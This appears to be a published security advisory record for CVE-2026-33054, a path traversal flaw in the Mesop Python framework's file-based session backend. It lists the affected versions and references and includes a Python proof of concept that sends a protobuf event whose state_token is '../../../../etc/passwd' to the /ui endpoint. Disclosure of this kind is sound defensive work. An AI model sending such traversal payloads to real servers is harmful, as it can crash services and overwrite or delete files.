id: PYSEC-2026-411
published: "2026-06-29T11:50:44.967175Z"
modified: "2026-07-01T20:22:57.656652Z"
aliases:
- CVE-2026-33054
- GHSA-8qvf-mr4w-9x2c
summary: Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion
details: "#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\n When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n \n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\n headers = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n )\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\n print(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds."
affected:
- package:
    name: mesop
    ecosystem: PyPI
    purl: pkg:pypi/mesop
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 1.2.3
  versions:
  - 0.0.1
  - 0.10.0
  - 0.10.0rc0
  - 0.10.0rc1
  - 0.10.0rc2
  - 0.11.0
  - 0.11.0rc0
  - 0.11.1
  - 0.12.0
  - 0.12.0rc0
  - 0.12.1
  - 0.12.10b1
  - 0.12.10b2
  - 0.12.10b3
  - 0.12.10rc1
  - 0.12.1rc0
  - 0.12.2
  - 0.12.3
  - 0.12.3rc0
  - 0.12.4
  - 0.12.4rc0
  - 0.12.5
  - 0.12.5b1
  - 0.12.5rc1
  - 0.12.6
  - 0.12.6rc1
  - 0.12.7
  - 0.12.7b1
  - 0.12.7rc1
  - 0.12.8
  - 0.12.8b1
  - 0.12.8rc1
  - 0.12.9
  - 0.12.9rc1
  - 0.13.0
  - 0.13.0rc1
  - 0.14.0
  - 0.14.1
  - 0.14.1rc1
  - 0.14.2b1
  - 0.14.2b2
  - 0.14.2rc1
  - 0.14rc1
  - 0.3.1
  - 0.3.2
  - 0.3.3
  - 0.3.4
  - 0.4.0
  - 0.4.1
  - 0.4.2
  - 0.5.0
  - 0.5.1
  - 0.5.2
  - 0.5.3
  - 0.5.4
  - 0.5.5
  - 0.5.6
  - 0.6.0
  - 0.7.0
  - 0.7.1
  - 0.7.2
  - 0.8.0
  - 0.8.0rc0
  - 0.9.0
  - 0.9.0rc1
  - 0.9.1
  - 0.9.1rc1
  - 0.9.2
  - 0.9.2rc1
  - 0.9.3
  - 0.9.3rc0
  - 0.9.4
  - 0.9.4rc0
  - 0.9.5
  - 0.9.5rc0
  - 1.0.0
  - 1.0.0rc1
  - 1.0.0rc2
  - 1.0.1
  - 1.0.1rc1
  - 1.1.0
  - 1.1.0rc1
  - 1.1.1
  - 1.1.1rc1
  - 1.1.1rc2
  - 1.1.1rc3
  - 1.2.0
  - 1.2.0rc1
  - 1.2.1
  - 1.2.1rc1
  - 1.2.2
  - 1.2.2rc1
references:
- type: WEB
  url: https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-33054
- type: WEB
  url: https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b
- type: PACKAGE
  url: https://github.com/mesop-dev/mesop
- type: WEB
  url: https://github.com/mesop-dev/mesop/releases/tag/v1.2.3
- type: PACKAGE
  url: https://pypi.org/project/mesop
- type: ADVISORY
  url: https://github.com/advisories/GHSA-8qvf-mr4w-9x2c
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H